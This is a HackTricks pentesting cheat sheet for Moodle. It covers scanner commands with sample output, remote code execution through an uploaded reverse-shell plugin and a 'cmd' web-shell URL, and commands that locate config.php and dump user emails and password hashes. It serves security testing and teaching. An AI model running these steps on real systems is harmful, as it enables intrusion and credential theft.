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151 lines
6 KiB
Markdown
151 lines
6 KiB
Markdown
# Moodle
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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{% hint style="danger" %}
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<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="original">
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If you are interested in **hacking carer** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
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{% embed url="https://www.stmcyber.com/careers" %}
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{% endhint %}
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## Automatic Scans
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### droopescan
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```bash
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pip3 install droopescan
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droopescan scan moodle -u http://moodle.example.com/<moodle_path>/
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[+] Plugins found:
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forum http://moodle.schooled.htb/moodle/mod/forum/
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http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
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http://moodle.schooled.htb/moodle/mod/forum/version.php
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[+] No themes found.
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[+] Possible version(s):
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3.10.0-beta
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[+] Possible interesting urls found:
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Static readme file. - http://moodle.schooled.htb/moodle/README.txt
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Admin panel - http://moodle.schooled.htb/moodle/login/
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[+] Scan finished (0:00:05.643539 elapsed)
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```
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### moodlescan
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```bash
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#Install from https://github.com/inc0d3/moodlescan
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python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
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Version 0.7 - Dic/2020
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.............................................................................................................
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By Victor Herrera - supported by www.incode.cl
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.............................................................................................................
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Getting server information http://moodle.schooled.htb/moodle/ ...
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server : Apache/2.4.46 (FreeBSD) PHP/7.4.15
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x-powered-by : PHP/7.4.15
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x-frame-options : sameorigin
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last-modified : Wed, 07 Apr 2021 21:33:41 GMT
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Getting moodle version...
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Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta
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Searching vulnerabilities...
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Vulnerabilities found: 0
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Scan completed.
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```
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### CMSMap
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```bash
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pip3 install cmsmap
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cmsmap http://moodle.example.com/<moodle_path>
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```
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### CVEs
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I found that the automatic tools are pretty **useless finding vulnerabilities affecting the moodle version**. You can **check** for them in [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
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## **RCE**
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You need to have **manager** role and you **can install plugins** inside the **"Site administration"** tab\*\*:\*\*
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.png>)
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If you are manager you may still need to **activate this option**. You can see how ins the moodle privilege escalation PoC: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
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Then, you can **install the following plugin** that contains the classic pentest-monkey php r**ev shell** (_before uploading it you need to decompress it, change the IP and port of the revshell and crompress it again_)
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{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}
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Or you could use the plugin from [https://github.com/HoangKien1020/Moodle\_RCE](https://github.com/HoangKien1020/Moodle\_RCE) to get a regular PHP shell with the "cmd" parameter.
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To access launch the malicious plugin you need to access to:
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```bash
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http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
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```
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## POST
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### Find database credentials
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```bash
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find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
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```
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### Dump Credentials from database
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```bash
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/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
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```
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{% hint style="danger" %}
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<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="original">
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If you are interested in **hacking carer** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
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{% embed url="https://www.stmcyber.com/careers" %}
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{% endhint %}
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|
|
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Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
|
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
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|
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
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|
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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